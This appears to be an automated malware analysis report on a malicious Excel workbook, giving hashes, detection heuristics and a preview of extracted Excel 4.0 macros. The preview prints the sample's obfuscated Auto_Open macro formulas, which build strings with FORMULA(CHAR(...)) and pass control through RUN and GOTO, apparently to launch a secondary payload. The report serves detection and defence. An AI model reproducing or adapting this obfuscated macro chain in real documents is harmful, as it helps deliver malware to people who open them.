Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f259b18d78fb76c9…

MALICIOUS

Office (OLE)

231.0 KB Created: 2020-05-15 07:02:40 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: 9edb57b26283dd2686a57d566611f274 SHA-1: c13023025cee9be978edcba33b11fa2c2950186c SHA-256: f259b18d78fb76c98efc3cf30ff5a32a4c4813386bc7db3b06ceb1459ef5bb8a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a common technique for executing malicious code upon opening the workbook. The heuristics indicate an obfuscated execution chain involving RUN, FORMULA(CHAR), state-transfer, and risky-formula commands, suggesting the macros are designed to perform an action beyond typical spreadsheet operations. The specific commands and their obfuscated nature point towards an attempt to download or execute a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAIN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 128500 bytes
SHA-256: 19a017a298c8d866cf6c6533c179288819fca7c08ed7088213a967342e975937
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GP40570 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,ET189,"",-2.74683544303797466668
'  Sheet,HP215,"",12.52941176470588224845
'  Sheet,EM237,"",0.21830985915492956417
'  Sheet,EV261,"",-252.00000000000000000000
'  Sheet,IK269,"",279.00000000000000000000
'  Sheet,EL292,"",-0.76923076923076927347
'  Sheet,GN292,"",-0.48984468339307046802
'  Sheet,CO303,"",264.00000000000000000000
'  Sheet,BT322,"",-0.41743119266055045413
'  Sheet,HI328,"",-2.58522727272727292913
'  Sheet,BX335,"",149.00000000000000000000
'  Sheet,DB354,"",-1.09375000000000000000
'  Sheet,HT373,"",148.69999999999998863132
'  Sheet,HM380,"",0.06300984528832630216
'  Sheet,CC498,"",-1140.00000000000000000000
'  Sheet,DK579,"",-271.00000000000000000000
'  Sheet,IQ621,"",8.35294117647058875775
'  Sheet,GB627,"",0.20276497695852535585
'  Sheet,HC631,"",-316.00000000000000000000
'  Sheet,GQ640,"FORMULA(CHAR(EY18111-BN4186)&CHAR(JA14884/EU31090)&CHAR(JA14884*DG16743)&CHAR(BK17206/IH39067)&CHAR(CR25624+EF45282)&CHAR(HT1758-CC28231)&CHAR(CR25624/CL9507)&CHAR(JA14884+JE61455)&CHAR(HT1758*JO40582)&CHAR(HT1758-CD24124)&CHAR(HT1758-CK36177)&CHAR(GD2286*ET35156)&CHAR(GD2286-Z60615)&CHAR(JA14884/CR56111)&CHAR(HT1758/A57683)&CHAR(DN25323-JD41809)&CHAR(BK17206*DE44879)&CHAR(BK17206/HO14543)&CHAR(BK17206+BG61717)&CHAR(GD2286/IK15509)&CHAR(EY18111/IS17556)&CHAR(CR25624-L28161)&CHAR(JA14884-BN59034)&CHAR(FC35073-EY11439)&CHAR(CR25624/CV34953)&CHAR(FC35073-O12910)&CHAR(FC35073+JQ47292)&CHAR(HV46020/GS37739)&CHAR(BK17206+DG40918)&CHAR(HT1758*FV26701)&CHAR(FR719/GT2421)&CHAR(GD2286-FU9741)&CHAR(FR719-EK21634)&CHAR(FC35073+HF6608)&CHAR(DN25323-FA59161)&CHAR(BK17206-GT47680)&CHAR(HT1758-HH57967)&CHAR(HV46020+FB18675)&CHAR(BK17206/GU31133)&CHAR(GD2286-HX14255),GQ641)",""
'  Sheet,GQ642,GOTO(GG62474),""
'  Sheet,BY661,"",266.00000000000000000000
'  Sheet,DN718,"",274.00000000000000000000
'  Sheet,DX746,"",0.10548523206751055092
'  Sheet,DM780,"",167.00000000000000000000
'  Sheet,N802,"",117.00000000000000000000
'  Sheet,CO810,"",269.00000000000000000000
'  Sheet,GW810,"",-267.00000000000000000000
'  Sheet,EA816,"",-1.33333333333333325932
'  Sheet,GM859,"",-0.92289719626168231770
'  Sheet,HF1050,"",273.00000000000000000000
'  Sheet,CK1129,"",292.00000000000000000000
'  Sheet,FZ1134,"",-0.15596330275229358664
'  Sheet,IP1160,"SET.VALUE(JA14884,GET.CELL(50,IU12724)+476-5)",""
'  Sheet,IP1161,RUN(BS55721),""
'  Sheet,GT1172,"",-156.00000000000000000000
'  Sheet,FH1240,"",344.00000000000000000000
'  Sheet,EE1285,"",-0.04495412844036697497
'  Sheet,JM1288,"",10.30434782608695698514
'  Sheet,FK1332,"",0.11111111111111110494
'  Sheet,IH1367,"",6.35820895522388074284
'  Sheet,HA1473,"",-339.00000000000000000000
'  Sheet,GB1494,"",-0.02083333333333333218
'  Sheet,BU1525,"",-340.00000000000000000000
'  Sheet,EJ1550,"",-304.00000000000000000000
'  Sheet,HN1565,"",-0.93162393162393164481
'  Sheet,GB1585,"",372.00000000000000000000
'  Sheet,CZ1604,"FORMULA(CHAR(HT1758-BZ35492)&CHAR(CR25624*FZ1134)&CHAR(HT1758*EI40133)&CHAR(FC35073-BW16148)&CHAR(HV46020-CG23461)&CHAR(FC35073/IB26048)&CHAR(DN25323+CJ16632)&CHAR(BK17206+BW8588)&CHAR(BK17206-DG55567)&CHAR(HT1758/EC42078)&CHAR(EY18111+HM5953)&CHAR(JA14884+JP24453)&CHAR(JA14884-U47682)&CHAR(CR25624/Y62016)&CHAR(JA14884+HY30059)&CHAR(CR25624/JP21159)&CHAR(BK17206/GU45883)&CHAR(GD2286-CA15683)&CHAR(JA14884-EA39753)&CHAR(HV46020-BR21930)&CHAR(GD2286+JN63636)&CHAR(HV46020+BN21484)&CHAR(HT1758-JR23483)&CHAR(GD2286*GO22224)&CHAR(DN25323+DA39263)&CHAR(CR25624*GP17418)&CHAR(FR719/FD43236)&CHAR(FR719+JG39999)&CHAR(DN25323*IJ22316)&CHAR(EY18111*HN1565)&CHAR(EY18111/DW39901)&CHAR(FC35073*JO54299),GX52507)",""
'  Sheet,CZ1605
... (truncated)